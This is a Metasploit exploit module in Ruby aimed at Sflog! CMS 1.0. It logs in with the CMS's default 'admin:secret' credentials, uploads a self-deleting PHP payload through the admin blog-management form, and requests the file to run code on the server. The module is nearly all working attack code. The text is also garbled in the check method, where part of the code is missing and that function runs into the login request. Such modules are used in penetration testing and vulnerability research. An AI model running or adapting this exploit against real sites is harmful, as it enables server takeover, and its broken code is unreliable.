##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info={})
super(update_info(info,
'Name' => "Sflog! CMS 1.0 Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits multiple design flaws in Sflog 1.0. By default, the CMS has
a default admin credential of "admin:secret", which can be abused to access
administrative features such as blogs management. Through the management
interface, we can upload a backdoor that's accessible by any remote user, and then
gain arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'dun', # Discovery, PoC
'sinn3r' # Metasploit
],
'References' =>
[
['OSVDB', '83767'],
['EDB', '19626']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Platform' => %w{ linux php },
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
],
'Privileged' => false,
'DisclosureDate' => "Jul 06 2012",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/sflog/']),
OptString.new('USERNAME', [true, 'The username to login with', 'admin']),
OptString.new('PASSWORD', [true, 'The password to login with', 'secret'])
], self.class)
end
def check
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
base = File.dirname("#{uri}.")
res = send_request_raw({'uri'=>"#{base}/index.php"})
if not res
return Exploit::CheckCode::Unknown
elsif res and res.body =~ /\ 'POST',
'uri' => "#{base}/admin/login.php",
'vars_post' => {
'userID' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
})
if res and res.get_cookies.include?('PHPSESSID') and res.body !~ /\Access denied\!\<\/i\>/
return res.get_cookies
else
return ''
end
end
#
# Upload our payload, and then execute it.
#
def upload_exec(cookie, base, php_fname, p)
data = Rex::MIME::Message.new
data.add_part('download', nil, nil, "form-data; name=\"blogID\"")
data.add_part('7', nil, nil, "form-data; name=\"contentType\"")
data.add_part('3000', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")
data.add_part(p, 'text/plain', nil, "form-data; name=\"fileID\"; filename=\"#{php_fname}\"")
post_data = data.to_s
print_status("Uploading payload (#{p.length.to_s} bytes)...")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}/admin/manage.php",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie,
'headers' => {
'Referer' => "http://#{rhost}#{base}/admin/manage.php",
'Origin' => "http://#{rhost}"
}
})
if not res
print_error("No response from host")
return
end
target_path = "#{base}/blogs/download/uploads/#{php_fname}"
print_status("Requesting '#{target_path}'...")
res = send_request_raw({'uri'=>target_path})
if res and res.code == 404
print_error("Upload unsuccessful: #{res.code.to_s}")
return
end
handler
end
def exploit
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
base = File.dirname("#{uri}.")
print_status("Attempt to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
cookie = do_login(base)
if cookie.empty?
print_error("Unable to login")
return
end
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
p = get_write_exec_payload(:unlink_self=>true)
upload_exec(cookie, base, php_fname, p)
end
end